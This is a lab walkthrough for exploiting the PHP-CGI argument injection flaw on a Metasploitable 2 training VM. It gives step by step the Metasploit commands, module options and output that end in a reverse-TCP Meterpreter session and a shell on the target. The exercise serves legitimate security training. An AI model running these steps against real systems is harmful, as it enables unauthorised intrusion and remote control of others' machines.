Apache (CGI Argument Injection)

Apache (CGI Argument Injection)

Note: these labs are extremely oriented to the results, using a step-by-step guidance. During your progress, try to find more information and understand what you are doing.

Requirements

Kali Linux	The Kali Linux VM (or any other type of installation)
Metaploitable 2	The Metasploitable 2 VM
Metasploitable Framework	Metasploit Framework toolset (installed on Kali Linux by default)
Metasploitable 2 IP	The IP address of the Metasploitable 2 VM. In my case it is 192.168.8.142. This may be different in your specific case.
Kali Linux IP	The IP address of the Kali Linux machine. In my case it is 192.168.8.147. This may be different in your specific case.

Laboratory Workflow

The following describe the different steps to be conducted during the laboratory. You may introduce variations on this and learn from those variations.

1. Launch the Metasploit Framework

msfconsole

2. Use the module

use exploit/multi/http/php_cgi_arg_injection

set PAYLOAD php/meterpreter/reverse_tcp (this may be optional if your already have a payload configured when you select the module)

3. Check the module options

options

Module options (exploit/multi/http/php_cgi_arg_injection):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   PLESK        false            yes       Exploit Plesk
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                     no        The URI to request (must be a CGI-handled PHP script)
   URIENCODING  0                yes       Level of URI URIENCODING and padding (0 for minimum)
   VHOST                         no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.8.147    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

4. Set the appropriate options

set RHOSTS 192.168.8.142

set LHOST 192.168.8.147

RHOSTS => 192.168.8.142
LHOST => 192.168.8.147

5. Run the exploit

exploit

[*] Started reverse TCP handler on 192.168.8.147:4444 
[*] Sending stage (39927 bytes) to 192.168.8.142

[*] Meterpreter session 3 opened (192.168.8.147:4444 -> 192.168.8.142:56211) at 2023-03-28 19:13:46 -0400

meterpreter >

6. Meterpreter session

Now you have a meterpreter session opened. This session will allow you to interact with the target.

meterpreter >

7. Open a shell on the target machine

shell

meterpreter > shell
Process 1 created.
Channel 1 created.

Video

Video that resumes everything on this laboratory.

Questions

Now that you have completed this exploitation try to answer to following:

1. Now, what can I do with the exploitation achieved?

2. Which type of privileges do I have on the exploited target?

3. How was this accomplished?

4. Try to learn more about this vulnerability.